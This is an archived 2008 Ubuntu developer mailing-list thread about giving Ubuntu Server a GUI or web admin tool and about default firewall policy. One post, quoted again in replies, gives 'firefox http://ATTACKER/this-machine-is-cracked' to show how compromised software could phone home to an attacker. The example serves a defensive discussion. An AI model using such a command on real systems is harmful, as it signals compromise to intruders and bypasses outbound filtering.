Olá Anthony e a todos. On Thursday 31 July 2008 02:14:06 Anthony Watters wrote: > Preconfigure the thing, give it a GUI web admin, make it easy for someone to > set up a Web server/Webmail/File server either in server only mode or server > and gateway mode. All I should need to set up is a couple of users, provide > the IP address and say whether I want RAID and maybe how I want the > partitions configured (but with suggested recommendations along the way at > every step). Running the risk of being sent to /dev/null by many of the members of this list, but why not improve something like webmin? It works for me, when configuring Postfix and Dovecot. Sure its not the safest software around (I once mess up my rc levels, but thats mostly my fault not the software), but it can certainly ease or reduce the barrier entrance for this use case.. -- BUGabundo :o) (``-_-´´) http://Ubuntu.BUGabundo.net Linux user #443786GPG key 1024D/A1784EBB My new micro-blog @ http://BUGabundo.net ps. My emails tend to sound authority and aggressive. I'm sorry in advance. I'll try to be more assertive as time goes by... signature.asc Description: This is a digitally signed message part. -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Olá Stephan e a todos. On Friday 01 August 2008 16:25:01 Stephan Hermann wrote: > Fact One: an ISP who allows people running smtp servers should be > punished. Private users should use an SMTP Gateway at their ISP or on > some root server, but shouldn't be able to send via smtp server <-> > smtp server. (HInt: Spammers are using those methods) I'm not pro-guns or anything, so this is just an example: Dont allow guns to be sell, they kill ppl -- BUGabundo :o) (``-_-´´) http://Ubuntu.BUGabundo.net Linux user #443786GPG key 1024D/A1784EBB My new micro-blog @ http://BUGabundo.net ps. My emails tend to sound authority and aggressive. I'm sorry in advance. I'll try to be more assertive as time goes by... signature.asc Description: This is a digitally signed message part. -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Saturday 02 August 2008 12:29, (``-_-´´) -- Fernando wrote: > Olá Anthony e a todos. > > On Thursday 31 July 2008 02:14:06 Anthony Watters wrote: > > Preconfigure the thing, give it a GUI web admin, make it easy for someone > > to set up a Web server/Webmail/File server either in server only mode or > > server and gateway mode. All I should need to set up is a couple of > > users, provide the IP address and say whether I want RAID and maybe how I > > want the partitions configured (but with suggested recommendations along > > the way at every step). > > Running the risk of being sent to /dev/null by many of the members of this > list, but why not improve something like webmin? It works for me, when > configuring Postfix and Dovecot. > > Sure its not the safest software around (I once mess up my rc levels, but > thats mostly my fault not the software), but it can certainly ease or > reduce the barrier entrance for this use case.. Did you look at ebox? It's meant to be our safer equivalent. Scott K -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Sat, Aug 2, 2008 at 6:23 AM, Mackenzie Morgan <[EMAIL PROTECTED]> wrote: > Because as he said, if you pre-configure everything to > super-duper-easy-peasy, you've also pre-configured it to > super-duper-easy-peasy-to-crack. I'm personally disappointed by > firewalls that allow outbound by default, because something could phone > home if I put my trust in an application I shouldn't, but they're > easy-peasy for users, so that's what people do. I can manually go > through and fix it myself, but if some application is running about > opening who knows how many ports and setting god-knows-what services to > auto-start and mucking about with insecure options in config files...how > many months is it going to take me to track all of that down? No way. Commercial windows firewall pretty much all block outbound traffic by default, popping up a dialog box offering to allow that particular application to access the internet. I understand that it is fairly easily for an attacker to phone home though. For example, just run firefox http://ATTACKER/this-machine-is-cracked. However if it good practice to prevent e.g. httpd making outgoing connections this should be done by default. It is fairly easy to do this with e.g. systrace. The arguments that it is hard to step up these systems to be secure seems to be an argument that they should be secured once, by Ubuntu, with a great deal of scrutiny on whether the configuration really is secure. Even if we assume that everyone will hire a UNIX guru we can't assume that all the "gurus" really are gurus or that they won't forget one tiny exploit. Ubuntu desktop already has one server function. I can right click a file, go to share and share the folder using samba. If you know of any security flaws with this GUI, please report a bug. -- John C. McCabe-Dansted PhD Student University of Western Australia -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
On Sun, Aug 03, 2008 at 10:40:42AM +0800, John McCabe-Dansted wrote: > On Sat, Aug 2, 2008 at 6:23 AM, Mackenzie Morgan <[EMAIL PROTECTED]> wrote: > > Because as he said, if you pre-configure everything to > > super-duper-easy-peasy, you've also pre-configured it to > > super-duper-easy-peasy-to-crack. I'm personally disappointed by > > firewalls that allow outbound by default, because something could phone > > home if I put my trust in an application I shouldn't, but they're > > easy-peasy for users, so that's what people do. I can manually go > > through and fix it myself, but if some application is running about > > opening who knows how many ports and setting god-knows-what services to > > auto-start and mucking about with insecure options in config files...how > > many months is it going to take me to track all of that down? No way. > > Commercial windows firewall pretty much all block outbound traffic by > default, popping up a dialog box offering to allow that particular > application to access the internet. I understand that it is fairly > easily for an attacker to phone home though. For example, just run > firefox http://ATTACKER/this-machine-is-cracked. Well, for firefox and doing this it needs manual intervention. For a user clicking on a malicius url, which executes some really bad javascript, this is more the type of stuff we face today. Layer 8 + 9 Problem. > However if it good practice to prevent e.g. httpd making outgoing > connections this should be done by default. It is fairly easy to do > this with e.g. systrace. http doesn't make any outgoing connection, until you connect to the httpd and it creates a >1024 connection to the client. Outgoing connection actually are not allowed by windows firewall minus all unknown system apps who are calling back to MS by default and are allowed to that on purpose. > The arguments that it is hard to step up these systems to be secure > seems to be an argument that they should be secured once, by Ubuntu, > with a great deal of scrutiny on whether the configuration really is > secure. Even if we assume that everyone will hire a UNIX guru we > can't assume that all the "gurus" really are gurus or that they won't > forget one tiny exploit. a) there is no security in general b) if there is, please read point a) > Ubuntu desktop already has one server function. I can right click a > file, go to share and share the folder using samba. If you know of any > security flaws with this GUI, please report a bug. I wonder if you share your samba drives over the internet...if so, something is a) wrong with your router, and b) I wouldn't let you do any work on my network...sounds hard, but it is. And yes, we should prevent users from doing those stupid things. Regards, \sh -- Stephan '\sh' Hermann | OSS Developer & Systemadministrator JID: [EMAIL PROTECTED] | http://www.sourcecode.de/ GPG ID: 0xC098EFA8 | http://leonov.tv/ 3D8B 5138 0852 DA7A B83F DCCB C189 E733 C098 EFA8 -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
Olá Scott e a todos. On Saturday 02 August 2008 19:22:01 Scott Kitterman wrote: > Did you look at ebox? It's meant to be our safer equivalent. > > Scott K Last time I look into it, i couldnt start it. I'll give it a try under Intrepid. By the way, I didnt see any module for apache, postfix and dovecot, that come out-of-the-box with webmin. -- BUGabundo :o) (``-_-´´) http://Ubuntu.BUGabundo.net Linux user #443786GPG key 1024D/A1784EBB My new micro-blog @ http://BUGabundo.net ps. My emails tend to sound authority and aggressive. I'm sorry in advance. I'll try to be more assertive as time goes by... signature.asc Description: This is a digitally signed message part. -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
Re: Disappointed with Ubuntu Server, could be used by such a wider audience
One way or another the world is going to head in this direction for home and small business users (http://www.microsoft.com/windows/products/winfamily/windowshomeserver/default.mspx). Of course, for large scale enterprises, which is where Ubuntu Server is clearly aimed at, it's a different story where heavy duty SMP NUMA, work from the command line, etc make a lot of sense. However, home and small business owners don't need any of that but, more importantly, they don't have the time or resources for the kind of administration that Ubuntu Server requires. At the same time the home/SOHO/small to medium business arena is a huge and, currently ignored segment, but not for long. I now realise and understand the focus of Ubuntu Server, which is fine, but I am taking a different path, likely based on Ubuntu Desktop, to achieve my (mostly) preconfigured, GUI based personal server (Web server/Webmail server/File server and gateway). If that doesn't work out then I'll head down the ClarkConnect (www.clarkconnect.com) Cent OS/RHEL path. I am also liaising with others on this too who want this. One way or another I will get the kind of system I want. Regards, Tony - Original Message From: Stephan Hermann <[EMAIL PROTECTED]> To: ubuntu-devel-discuss@lists.ubuntu.com Sent: Monday, August 4, 2008 3:27:59 PM Subject: Re: Disappointed with Ubuntu Server, could be used by such a wider audience On Sun, Aug 03, 2008 at 10:40:42AM +0800, John McCabe-Dansted wrote: > On Sat, Aug 2, 2008 at 6:23 AM, Mackenzie Morgan <[EMAIL PROTECTED]> wrote: > > Because as he said, if you pre-configure everything to > > super-duper-easy-peasy, you've also pre-configured it to > > super-duper-easy-peasy-to-crack. I'm personally disappointed by > > firewalls that allow outbound by default, because something could phone > > home if I put my trust in an application I shouldn't, but they're > > easy-peasy for users, so that's what people do. I can manually go > > through and fix it myself, but if some application is running about > > opening who knows how many ports and setting god-knows-what services to > > auto-start and mucking about with insecure options in config files...how > > many months is it going to take me to track all of that down? No way. > > Commercial windows firewall pretty much all block outbound traffic by > default, popping up a dialog box offering to allow that particular > application to access the internet. I understand that it is fairly > easily for an attacker to phone home though. For example, just run > firefox http://ATTACKER/this-machine-is-cracked. Well, for firefox and doing this it needs manual intervention. For a user clicking on a malicius url, which executes some really bad javascript, this is more the type of stuff we face today. Layer 8 + 9 Problem. > However if it good practice to prevent e.g. httpd making outgoing > connections this should be done by default. It is fairly easy to do > this with e.g. systrace. http doesn't make any outgoing connection, until you connect to the httpd and it creates a >1024 connection to the client. Outgoing connection actually are not allowed by windows firewall minus all unknown system apps who are calling back to MS by default and are allowed to that on purpose. > The arguments that it is hard to step up these systems to be secure > seems to be an argument that they should be secured once, by Ubuntu, > with a great deal of scrutiny on whether the configuration really is > secure. Even if we assume that everyone will hire a UNIX guru we > can't assume that all the "gurus" really are gurus or that they won't > forget one tiny exploit. a) there is no security in general b) if there is, please read point a) > Ubuntu desktop already has one server function. I can right click a > file, go to share and share the folder using samba. If you know of any > security flaws with this GUI, please report a bug. I wonder if you share your samba drives over the internet...if so, something is a) wrong with your router, and b) I wouldn't let you do any work on my network...sounds hard, but it is. And yes, we should prevent users from doing those stupid things. Regards, \sh -- Stephan '\sh' Hermann| OSS Developer & Systemadministrator JID: [EMAIL PROTECTED]| http://www.sourcecode.de/ GPG ID: 0xC098EFA8| http://leonov.tv/ 3D8B 5138 0852 DA7A B83F DCCB C189 E733 C098 EFA8 -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
GUI-based Ubuntu Server Project FKA Disappointed with Ubuntu Server, could be used by such a wider audience
Excuse me for changing the subject. I know that's "bad netiquette", but the old title was too negative. You've identified a need for a new product, not a shortcoming in Ubuntu Server. Ubuntu Server is a great server base for installing Apache, postfix, etc. It is not web- or GUI-based and many would not like to see that functionality added. I think that this is the sort of proposal that is best handled at ubuntu Brainstorm. The idea has merit and it would provide new users uncomfortable with the command line a way to build and deploy servers for home use or whatever. I'd throw in that Ubuntu really needs its own version of [EMAIL PROTECTED] (asterisk at home, redubbed trick box). This is an Asterisk server ready-to-go based on the CentOS distro. VOIP has huge growth potential and Ubuntu should be, IMHO, a leader in providing ready-to-go solutions. I'd love to see Canonical team up with Digium and maybe a hardware manufacturer to build a complete read-to-go asterisk server based on Ubuntu with cards all ready to go. FYI, Brainstorm's link is here... http://brainstorm.ubuntu.com/ Good idea, though, I like it... On Thu, 2008-07-31 at 16:36 +0200, Remco wrote: > I have the same sentiments. How does a normal computer user set up a > web server, music server, file server, or a mail server with the > current Ubuntu? I think Ubuntu server should come with an X11-based > configuration GUI (and a comparable Web GUI) that lets you configure > these things in a few clicks, and then shut down X. Or keep X running. > X is very lightweight. > > Remco > signature.asc Description: This is a digitally signed message part -- Ubuntu-devel-discuss mailing list Ubuntu-devel-discuss@lists.ubuntu.com Modify settings or unsubscribe at: https://lists.ubuntu.com/mailman/listinfo/ubuntu-devel-discuss
